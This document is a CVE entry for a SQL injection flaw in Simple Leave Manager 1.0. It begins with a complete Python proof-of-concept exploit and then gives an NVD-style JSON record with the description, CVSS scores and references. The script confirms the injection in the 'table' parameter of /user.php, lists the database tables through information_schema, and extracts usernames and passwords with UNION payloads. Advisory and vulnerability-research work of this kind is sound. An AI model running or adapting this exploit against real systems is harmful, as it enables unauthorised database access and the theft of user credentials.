CVE-2025-11556

# CVE-2025-11556 - Simple Leave Manager 1.0 SQL Injection PoC # Vulnerability: SQL Injection via 'table' parameter in /user.php # Author: Security Researcher import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" VULNERABLE_ENDPOINT = "/user.php" def exploit_sqli(target_url, payload): """Exploit SQL injection via the 'table' parameter""" url = f"{target_url}{VULNERABLE_ENDPOINT}" params = { "table": payload } try: response = requests.get(url, params=params, timeout=10) return response.text except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return None def extract_tables(target_url): """Extract database tables using information_schema""" # Payload to enumerate tables from current database payload = "users UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema=database()--" print(f"[*] Extracting tables from {target_url}...") result = exploit_sqli(target_url, payload) if result: print(f"[+] Response:\n{result[:500]}") return result def extract_credentials(target_url): """Attempt to extract user credentials""" # Payload to extract username and password (adjust columns based on actual schema) payload = "users UNION SELECT username,password FROM users--" print(f"[*] Attempting to extract credentials from {target_url}...") result = exploit_sqli(target_url, payload) if result: print(f"[+] Response:\n{result[:500]}") return result def boolean_based_test(target_url): """Test for SQL injection using boolean-based technique""" true_payload = "users AND 1=1--" false_payload = "users AND 1=2--" true_response = exploit_sqli(target_url, true_payload) false_response = exploit_sqli(target_url, false_payload) if true_response and false_response and true_response != false_response: print("[+] SQL Injection confirmed! Different responses for true/false conditions.") return True print("[-] Could not confirm SQL injection.") return False if __name__ == "__main__": print(f"[*] CVE-2025-11556 PoC - Simple Leave Manager 1.0 SQL Injection") print(f"[*] Target: {TARGET_URL}") print("-" * 60) # Step 1: Confirm the vulnerability if boolean_based_test(TARGET_URL): # Step 2: Extract database information extract_tables(TARGET_URL) # Step 3: Extract credentials extract_credentials(TARGET_URL) print("[*] Exploitation complete.")

{"cve": {"id": "CVE-2025-11556", "sourceIdentifier": "[email protected]", "published": "2025-10-09T21:15:34.953", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in code-projects Simple Leave Manager 1.0. This vulnerability affects unknown code of the file /user.php. This manipulation of the argument table causes sql injection. Remote exploitation of the attack is possible. The exploit has been published and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:carmelo:simple_leave_manager:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "48DFD000-C3DE-4767-9A42-558C5C30716D"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/asd1238525/cve/blob/main/SQL8.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.327716", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327716", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.671358", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://github.com/asd1238525/cve/blob/main/SQL8.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}